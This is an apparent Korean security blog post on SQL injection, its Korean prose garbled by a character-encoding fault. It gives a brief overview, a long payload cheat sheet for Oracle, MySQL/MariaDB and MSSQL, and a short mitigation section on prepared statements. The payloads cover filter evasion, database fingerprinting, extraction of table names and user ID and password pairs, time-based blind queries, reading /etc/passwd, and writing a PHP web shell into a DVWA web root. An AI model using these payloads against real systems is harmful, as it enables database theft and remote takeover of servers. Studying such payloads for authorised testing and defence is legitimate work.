์ทจ์ฝ์ ์๊ฐ
DB ์๋ฒ์ ํด๋ผ์ด์ธํธ๊ฐ ์ํธ์์ฉ์ด ์ด๋ฃจ์ด์ง๋ ํ๋ผ๋ฏธํฐ ๊ฐ์ SQL ์ฟผ๋ฆฌ๋ฌธ์ ์ฝ์ ํ์ฌ ํด๋น DB์ ์ ๋ณด๋ฅผ ์ป๊ฑฐ๋ ์กฐ์ํ ์ ์๋ ์ทจ์ฝ์
ํ๋จ ๊ธฐ์ค
SQL ์ฟผ๋ฆฌ ์ ๋ ฅ ๊ฒ์ฆ์ด ๋ฏธํกํ์ฌ ์๋ฒ์ ์ง์/์๋ต์ ๋๋์ด ์ ๋ณด๋ฅผ ์ป์ ์ ์๋ ๊ฒฝ์ฐ
์ข ๋ฅ(Error-Based, Union-Based, Blind-Based, Stored Procedure Based, ...)
> Error-Based SQL Injection
: ๊ฐ์ ๋ก ์๋ฌ๋ฅผ ์ ๋ฐ์์ผ ์๋ฌ ์ ๋ณด๋ฅผ ํ์ธํ๊ณ DB์ ๋ณด๋ฅผ ์ป์ ์ ์๋ ๊ฒฝ์ฐ
> Union-Based SQL Injection
: ์๋ ๊ธฐ์กด์ ์์ฒญ SQL ๋ฌธ์ ์ถ๊ฐ ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํด์ DB์ ๋ณด๋ฅผ ์ป์ ์ ์๋ ๊ฒฝ์ฐ
(์ปฌ๋ผ๋ช ์ ๊ธฐ์กด ์์ฒญ SELECT ๋ฌธ๊ณผ ๋ฌ๋ผ๋ ๋์ง๋ง ์ปฌ๋ผ ๊ฐฏ์๊ฐ ๋ค๋ฅด๋ฉด ์ค๋ฅ๊ฐ ๋ฐ์)
> Blind-Based SQL Injectino
: ์๋ฌ๊ฐ ๋ฐ์๋์ง ์๋ ํ์ด์ง์์ ์ฟผ๋ฆฌ ์ฐธ/๊ฑฐ์ง ๋๋ ์น ํ์ด์ง ์๋ต ๋ฐ์ ์๊ฐ์ ํ์ธํ์ฌ DB์ ๋ณด๋ฅผ ์ป์ ์ ์๋ ๊ฒฝ์ฐ
- Time-Based SQL Injection
- Boolean-Based SQL Injection
> Stored Procedure Based SQL Injection
: ์ ์ฅ ํ๋ก์์ ์ ๋ํ ์ ๊ทผ ๊ถํ์ด ์์ด์ผ๋ง ์คํ ๊ฐ๋ฅ
๊ณต๊ฒฉ๊ตฌ๋ฌธ
> Basic Injection
' and 1=1 --
' and 1=2 --
' and 1=1 #
' and 1=2 #
' and 1=1 /*
' and 1=2 /*
'+and+1=1+--
'+and+1=2+--
' and 1=1 --
' and 1=2 --
' and 1=1 #
' and 1=2 #
' and 1=1 /*
' and 1=2 /*
๊ณต๋ฐฑ ์ฐํ> + /**/ ()(๋ํ๊ธฐ, ์ฃผ์, ๊ดํธ), %09(Tab), %0a(Line Feed \n), %0d(Carrage Return \r)
1'%09and%091=1%09--
1'%0aand%0a1=1%0a--
1'%0dand%0d1=1%0d--
1'/**/and/**/1=1/**/--
(1)'()and(1=1)--
======= ๊ฐ์ ์๋ฌ ๋ฐ์(Response-Based SQL Injection) =========
: Blind-Based SQL Injection ๊ณต๊ฒฉ ์งํํ๊ธฐ ์ํด ์ฐธ, ๊ฑฐ์ง ๊ตฌ๋ณํ ์ ์๋ ์ปจํ
์ธ ๊ฐ ์์ด์ผํ๋๋ฐ ์ด๊ฒ์ด ์์ ๊ฒฝ์ฐ ์ฌ์ฉ
: SQL ๋ฌธ์ ๋ฐ๋์ '์คํ' ๋จ๊ณ์์ ์๋ฌ๊ฐ ๋ฐ์ํด์ผ ํจ
: ๊ตฌ๋ฌธ ์์ฒด์ ์ค๋ฅ๊ฐ ์์ ๊ฒฝ์ฐ ์ฐธ, ๊ฑฐ์ง๊ณผ ๊ด๊ณ์์ด ๋ฌด์กฐ๊ฑด ์๋ฌ ๋์ด
- Character Type -
ORACLE : CASE WHEN [์กฐ๊ฑด] THEN 'a' ELSE CAST(1/0 as char) END FROM dual
MSSQL : CASE WHEN [์กฐ๊ฑด] THEN 'a' ELSE CONVERT(char, 1/0) END
- Intager Type -
CASE WHEN [์กฐ๊ฑด] THEN 1 ELSE 1/0 END
MySQL : CASE WHEN [์กฐ๊ฑด] THEN 1 ELSE (SELECT 1 UNION SELECT 2) END
ex)
Oracle:select case when user='SYS' then 1/0 else (select 1 from dual) end from dual
MS-SQL :if ((select user) = 'sa' OR (select user) = 'dbo') select 1/0 else select 1
update: select case when( 1=1) then 1 else 1/0 end
POSTGRES :SELECT CASE WHEN (1=2) THEN 1 ELSE 1/0 END;
update: case when (1=1) then 1 else (1 * (select 1 from information_schema.tables)) end)=1
update: select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1
=============================================================
> DB ํ๋ณ(DB ๋ฒ์ ์ ๋ณด)
|| MySQL ํ๋ณ||
SELECT @@version;
=============================================================
SELECT extractvalue(1,concat(0x3a,version()));
|| Oracle ํ๋ณ ||
SELECT * FROM v$version;
=============================================================
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
|| MS SQL Server ํ๋ณ||
SELECT @@VERSION;
=============================================================
SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);
================= TEST Oracle(Error-Based) ==================
' and length(user)=1 --
...
' and substr(user,1,1)=65 --
...
' and substr(user,1,9)='TEST_AAAA'
') AND CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
') AND CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE rownum=1)) <> 1;
')+AND+CTXSYS.DRITHSX.SN(user,(select+banner+from+v$version+where+rownum=1))+FROM+dual;
')+AND+CTXSYS.DRITHSX.SN(1,(SELECT+banner+FROM+v$version+WHERE+rownum=1))+<>+1;
-> ์๋ฒ ์ ๋ณด ํ์ธ
)'+AND+CTXSYS.DRITHSX.SN(user,(SELECT+COUNT(TABLE_NAME)+FROM+USER_TABLES))=1;
-> user ์ ์ฒด ํ
์ด๋ธ ๊ฐฏ์ ์กฐํ (000 ํค์๋ ์ฌ์ ์ด ์กด์ฌํ์ง ์์ต๋๋ค)
1'+AND+CTXSYS.DRITHSX.SN(user,(SELECT+TABLE_NAME+FROM+(SELECT+TABLE_NAME,+ROWNUM+AS+RNUM+FROM+USER_TABLES)+WHERE RNUM=10))=1;
-> user ํ
์ด๋ธ ์กฐํ (000 ํค์๋ ์ฌ์ ์ด ์กด์ฌํ์ง ์์ต๋๋ค)(๊ณ์ ํ
์ด๋ธ ์ป๊ธฐ)
1'+AND+CTXSYS.DRITHSX.SN(user,(SELECT+COLUMN_NAME+FROM+(SELECT+COLUMN_NAME,+ROWNUM+AS+RNUM+FROM+ALL_TAB_COLUMNS+WHERE+TABLE_NAME='[]')+WHERE+RNUM=1))=1+;
-> [] ์ปฌ๋ผ ์ธ๋ฑ์ค ์กฐํ (๊ณ์ ๊ด๋ จ ํ
์ด๋ธ ์ ์ถ ํ์ ๊ด๋ จ ์์ด๋ ๋ฐ ํจ์ค์๋ ์ปฌ๋ผ ๊ฐ ์ป๊ธฐ)
1'+AND+CTXSYS.DRITHSX.SN(user,(SELECT+[์์ด๋ ๊ด๋ จ ์ป์ ํค์๋1]||'+:+'||[๋น๋ฐ๋ฒํธ ๊ด๋ จ ์ป์ ํค์๋2]+FROM+(SELECT+[์์ด๋ ๊ด๋ จ ์ป์ ํค์๋1],+[๋น๋ฐ๋ฒํธ ๊ด๋ จ ์ป์ ํค์๋2],+ROWNUM+AS+RNUM+FROM+[๊ณ์ ํ
์ด๋ธ])+WHERE+RNUM=2))=1+;
-> ์์ด๋, ํจ์ค์๋ ์ป๊ธฐ
================= TEST Oracle(Blind) ==================
')+and+(select+count(table_name)+from+user_tables)=1;
')+and+(select+count(table_name)+from+user_tables)=2;
...
-> ํ
์ด๋ธ ๊ฐฏ์ ํ์ธ
')+and+ascii(substr((select+table_name+from+(select+rownum+as+rnum,table_name+from+user_tables)+where+rnum=1),1,1))<100--
...
-> ํ
์ด๋ธ ๋ช
ํ์ธ
'and+ascii(substr((select+column_name+from+(select+rownum+as+rnum,column_name+from+all_tab_columns+where+table_name='[์ป์ ํ
์ด๋ธ๋ช
]')+where+rnum=1),1,1))>75--
...
-> ์ปฌ๋ผ ๋ช
ํ์ธ
-> ์ป๊ณ ์ ํ๋ ์ปฌ๋ผ๋ช
๊ณ์ ํ์ธ(rnum=[์ซ์])
...
================= TEST MySQL&Maria(Error-Based) ==================
1+or+2+and+extractvalue(1,concat(0x3a,version()));
1+or+2+AND+extractvalue(rand(),concat(0x3a,version()))+--
and+extractvalue(1,concat(0x3a,version()));
'+and+extractvalue(1,concat(0x3a,version()));
...
-> ์๋ฌ๋ฒ ์ด์ค Injection ๊ฐ๋ฅ ์ฌ๋ถ ํ์ธ
1+or+2+and+extractvalue(1,concat(0x3a,version()));
1+or+2+AND+extractvalue(rand(),concat(0x3a,version()))+--
'+AND+extractvalue(1,concat(0x3a,version()))+--
'+AND+extractvalue(rand(),concat(0x3a,version()))+--
1+or+2+AND(SELECT+1+FROM(SELECT+COUNT(*),concat(version(),FLOOR(rand(0)*2))x+FROM+information_schema.TABLES+GROUP+BY+x)a)+--
1 or 2 AND row(1,1)>(select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1);
1 or 2 AND UpdateXML(1,concat(0x01,version()),1);
-> DB ๋ฒ์ ์ถ์ถ
-> DB Error :: XPATH syntax error: ':5.5.64-MariaDB-1ubuntu0.14.04.1'
1+or+2+AND+extractvalue(rand(),concat(0x3a,(SELECT+concat(0x3a,schema_name)+FROM+information_schema.schemata+LIMIT+0,1)))+--
1+or+2+AND+extractvalue(rand(),concat(0x3a,(SELECT+concat(0x3a,schema_name)+FROM+information_schema.schemata+LIMIT+1,1)))+--
...
-> DB๋ช
์ถ์ถ (LIMIT์ผ๋ก ๊ฐ ๋ฐ์ ํ์ธ)
-> DB Error :: XPATH syntax error: '::information_schema'
1+or+2+AND+extractvalue(rand(),concat(0x3a,database()))+--
1+or+2+AND+extractvalue(rand(),concat(0x3a,(SELECT+concat(0x3a,schema_name)+FROM+information_schema.schemata+LIMIT+1,1)))+--
DB Error :: XPATH syntax error: ':counting_query'
-> DB๋ช
์ถ์ถ (์น ์ ํ๋ฆฌ์ผ์ด์
๊ณผ ํต์ ์ค์ธ ๋ฐ์ดํฐ๋ฒ ์ด์ค)
1 or row(1,1)>(select count(*),concat(ps,floor(rand(0)*2)) as test from information_schema.tables group by test limit 1)
-> DB Error :: Duplicate entry '6ee4d4d7f9694f8355d15ac74116c6bb' for key 'group_key'
> MSSQL
|| MSSQL Injection ||
select [์ปฌ๋ผ1][์ปฌ๋ผ2] from [ํ
์ด๋ธ๋ช
] ... like '%[์ฌ์ฉ์ ๊ฐ]%';
[์ฌ์ฉ์ ๊ฐ]
1' and 1=1 -- (์ฐธ ๊ฐ ๋์)
1' and 1=2 -- (๊ฑฐ์ง ๊ฐ ๋์)
1' and (len(user))=3 -- (์ฐธ ๊ฐ ๋์)
1' and (len(db_name()))=9 -- (์ฐธ ๊ฐ ๋์)
-- substring
<< Get DataBase Name >>
1' and substring(db_name(),1,1)='a' --
1' and ascii(substring(db_name(),1,1))=97 --
1' and ascii(substring(db_name(),1,1))>96 --
1' and ascii(substring(db_name(),1,1))<98 --
1' and substring(db_name(),1,1)='b' --
1' and substring(db_name(),1,1)='c' --
1' and substring(db_name(),1,1)='d' --
1' and substring(db_name(),1,1)='e' --
1' and substring(db_name(),1,1)='f' --
1' and substring(db_name(),1,1)='g' --
1' and substring(db_name(),1,1)='h' --
1' and substring(db_name(),1,1)='i' --
1' and substring(db_name(),1,1)='j' --
1' and substring(db_name(),1,1)='k' --
1' and substring(db_name(),1,1)='l' --
1' and substring(db_name(),1,1)='m' --
1' and substring(db_name(),1,1)='n' --
1' and substring(db_name(),1,1)='o' --
1' and substring(db_name(),1,1)='p' --
1' and substring(db_name(),1,1)='q' --
1' and substring(db_name(),1,1)='r' --
1' and substring(db_name(),1,1)='s' --
1' and substring(db_name(),1,1)='t' --
1' and substring(db_name(),1,1)='u' --
1' and substring(db_name(),1,1)='v' --
1' and substring(db_name(),1,1)='w' --
1' and substring(db_name(),1,1)='x' --
1' and substring(db_name(),1,1)='y' --
1' and substring(db_name(),1,1)='z' --
<< Get Table Name in Database (์ฌ์ฉ์ ์ ์ ํ
์ด๋ธ (User table)>>
1' and substring((select top 1 name from sysobjects where xtype='U'),1,1)='a' --
...
<< ์ ๋ณด ์์ง >>
and 1=(SELECT @@VERSION)
-> ๋ฒ์ ์ฒดํฌ
and 1=(select name from master.dbo.sysdatabases where dbid=7)
-> DBํ์ธ: DB๊ฐ ์กด์ฌํ๋ฉด ์๋ฌ์ถ๋ ฅ, ์กด์ฌํ์ง ์์ผ๋ฉด ์ ์์๋
-> 1~6์ ์์คํ
DB, 7~ ์ฌ์ฉ์ DB
and 0<>db_name()
-> ํ์ฌ DB ์กฐํ
and user>0
-> ํ์ฌ ์ ์ ๋ช
์กฐํ
<< ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ตฌ์กฐ >>
' having 1=1 --
-> ํ์ฌ ํ
์ด๋ธ ์กฐํ
' group by user.id having 1=1 --
-> ํ์ฌ ์ปฌ๋ผ๋ช
์กฐํ
' union select sum(์ปฌ๋ผ๋ช
) from ํ
์ด๋ธ๋ช
--
-> ์ปฌ๋ผ ํ์
์กฐํ
<< ๊ถํ ์ฒดํฌ >>
and 1=(IS_SRVROLEMEMBER('sysadmin'))
-> ๊ถํ์ข
๋ฅ:sysadmin๏ผdbcreator๏ผdiskadmin๏ผprocessadmin๏ผserveradmin๏ผsetupadmin๏ผsecurityadmin
and 1=(IS_MEMBER('db_owner'))
-> ํด๋น ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ถํ
;declare @a int;--
-> declare, ์ฌ์ฉ์ฌ๋ถ
<< ํ
์ด๋ธ ์กฐํ >>
' and 0<>(select top 1 name from (select top where xtype='U' order by name asc) as table1 order by name desc) --
-> ํน์ DB์์ ์ฌ์ฉ์๊ฐ ๋ง๋ ํ
์ด๋ธ๋ช
๋ถ๋ฌ์ค๊ธฐ(top ํ ์ฆ๊ฐ์์ผ์ ํ์ธ)
<< ํ
์ด๋ธ ์์ด๋ ์กฐํ >>
' and 0<>(select count(*) from .dbo.sysobjects where xtype='U' and name='[ํ
์ด๋ธ์ด๋ฆ]' and
uid>(str(id))) --
<< ํ
์ด๋ธ์ ์ปฌ๋ผ๋ช
์กฐํ >>
' and 1=(select top 1 name from .dbo.sysobjects where name not in (select top 0 name from .dbo.sysobjects where id=357576312) and id=357576312) --
<< Blind SQL Injection >>
ascii(substring((select top 1 m_id from member_info),1,1))=49 --
<< Time-Based SQL Injection >>
1';if ascii(substring((select top 1 m_id from member_info),1,1))=1 waitfor delay '00:00:01' --
-> waitfor delay '00:00:00' ๋ผ๋ ํจ์๋ฅผ ์ด์ฉํ์ฌ ์ฐธ์ผ ๊ฒฝ์ฐ ๋๋ ์ด๋๊ณ , ๊ฑฐ์ง์ผ ๊ฒฝ์ฐ ๋ฐ๋ก ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ์ฌ ์ฐธ๊ณผ ๊ฑฐ์ง์ ํ๋จ
๊ทธ ๋ฐ์ ๊ด๋ จ ์ ๋ณด
> CIA๋ณ ์ธก๋ฉด
- ๊ธฐ๋ฐ์ฑ
: ๋์ฒญ, ์ฌํ๊ณตํ ๊ธฐ๋ฒ, ... (SELECT)
: SQL ์ฟผ๋ฆฌ๋ฌธ ํตํด ์ฌ์ฉ์ ๋ฐ์ดํฐ, DB ์ ๋ณด ์ ๊ทผ
- ๋ฌด๊ฒฐ์ฑ:
: ๋ฐ์ดํฐ ๋ณ์กฐ, ... (INSERT, UPDATE, ...)
: SQL ์ฟผ๋ฆฌ๋ฌธ์ ํตํด DB ๋ด์ฉ ์กฐ์, ...
- ๊ฐ์ฉ์ฑ:
: DoS, DDoS, ... (SLEEP(), "00:00:01", ...)
: SQL ์ฟผ๋ฆฌ ๊ณผ๋ํ ์ ์ ์ก, SLEEP, ...
> ํด๋ผ์ด์ธํธ-์๋ฒ ํ๋ฆ
Client - WAS(Web Server, Web Container(WAS)) - DB
WS: Microsoft IIS(.NET Core / ASP.NET Core ), Nginx, ...
WAS: Apache Tomcat , JEUS, IBM WebSphere, ...
> MySQL Injection ๋ง์ ๊ธฐ๋ฅ
: ํจ์ ๊ธฐ๋ฅ(LOAD_FILE(), INTO OUTFILE(),...)
- LOAD_FILE() : ํ์ผ์ ์ฝ๊ณ ํ์ผ ๋ด์ฉ์ ๋ฐํํ๋ ํจ์
- INTO OUTFILE() : ํ์ผ์ ์ ํํ ํ์ ๊ธฐ๋กํ๋ SQL ๋ฌธ๋ฒ
(INTO OUTFILE ์ ์ ์กฐ๊ฑด)
1. MySQL ์ ์ ๊ฐ ํ์ผ ์ฐ๊ธฐ ๊ถํ์ด ์์ด์ผ ํจ
2. ๋ฆฌ๋
์ค ์ ์ mysql์ ์ฐ๊ณ ์ ํ๋ ํด๋์ ์ฐ๊ธฐ ๊ถํ ์์ด์ผ ํจ
<<๊ณต๊ฒฉ ์์ฐ>>
Step 1) ์ปฌ๋ผ ๊ฐฏ์ ํ์
(order by ์ , ...)
Step 2) MySQL ์ ์ ํ์ธ
(' UNINON SELECT 1, user FROM mysql.user --, ...)
> guest, root, ...
Step 3) MySQL ์ ์ ๋ชฉ๋ก์ ํ์ผ ๊ถํ ํ์ธ
(' UNION SELECT 1, group_concat(user, 0x3a, file_priv) FROM mysql.user --, ...)
> guest: Y, root: Y, ...
Step 4) /etc/passwd ํ์ผ ๋ด์ฉ ์ถ๋ ฅ
(' UNION SELECT 1, load_file('/etc/passwd') --, ' union select 1, load_file(char(47,101,116,99,47,112,97,115,115,119,100)) #, ' union select 1, load_file(0x2f6574632f706173737764) #)
Step 5) WebShell ์
๋ก๋
(' union select 1, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/dvwa/vulnerabilities/sqli/koromoon.php' #)
๋์๋ฐฉ์
> SQL ์ฟผ๋ฆฌ์ ์ฌ์ฉ๋๋ ๋ฌธ์์ด ์ ํจ์ฑ ๊ฒ์ฆ ๋ก์ง Server Side ๋จ์์ ๊ตฌํ
> replace all ๋ฉ์๋ ์ฌ์ฉ(์ฌ์ฉ ์๋ฒ์ ๋ฐ๋ผ ์ ์ฉ ํ์)
> Prepared Statement ๊ฐ์ฒด ์ฌ์ฉ
: ์ฌ์ฉ์ ์ ๋ ฅ์ ์ฟผ๋ฆฌ์ ์ผ๋ถ๋ก ์ง์ ๋์์ํค์ง ์์
(์ฌ์ฉ์ ์ ๋ ฅ์ด ๋ฐ์ธ๋ฉ(๊ณ ์ ๋ ๊ฐ)๋๊ธฐ ๋๋ฌธ์ ์ฟผ๋ฆฌ๋ก ํด์๋์ง ์์)
1. ํ๋ ์ด์ค ํ๋(?) ์ฌ์ฉํด์ ์ฟผ๋ฆฌ ์ค๋น
2. ํ๋ฆฌ๋ฏธํฐ ๋ฐ์ธ๋ฉ (์ด ๊ณผ์ ์์ ์ ์ ํ๊ฒ ์ด์ค์ผ์ดํ(๋จ์ ๋ฌธ์ ์ฒ๋ฆฌ)๋๊ฑฐ๋ ํ์ ์ง์ ๋จ)
3. ์ฟผ๋ฆฌ ์คํ
Refer to...
โถ(SQL ์ฟผ๋ฆฌ๋ฌธ ๋ณด๊ธฐ ์ข๊ฒ ์ ๋ ฌ ์ฌ์ดํธ) https://www.dpriver.com/pp/sqlformat.htm
โถ(SQL Injection ์ฐํ ์ฌ์ดํธ) https://security04.tistory.com/171
โถ(Decode&Encode Tools) https://dencode.com/
โถ(Oracle ์๋ฌ์ฝ๋) https://blog.naver.com/femgfemg/120110867050
โถ(MySQL ์๋ฌ์ฝ๋) https://2factor.tistory.com/14
โถ(MSSQL ์๋ฌ์ฝ๋) https://halizy.tistory.com/11#google_vignette
โถ(URL Encoding) https://www.eso.org/~ndelmott/url_encode.html
โถ(Github-Injection Payload) https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet/tree/main/MSSQL%20-%20Error%20Based%20SQLi
โถ(DB ์ข ๋ฅ๋ณ ๋ช ๋ น์ด) https://noirstar.tistory.com/291
โถ...
'์ทจ์ฝ์ ๋ถ์ ๊ธฐ์ค > WEB' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
04. ์ด์์ฒด์ ๋ช ๋ น ์คํ (0) | 2024.05.12 |
---|---|
03. LDAP ์ธ์ ์ (0) | 2024.05.12 |
02. ํฌ๋งท์คํธ๋ง (0) | 2024.05.12 |
01. ๋ฒํผ์ค๋ฒํ๋ก์ฐ (0) | 2024.05.12 |
ํฌ๋ก์ค์ฌ์ดํธ ์คํฌ๋ฆฝํ (XSS; Cross-Site Scripting) (0) | 2024.04.07 |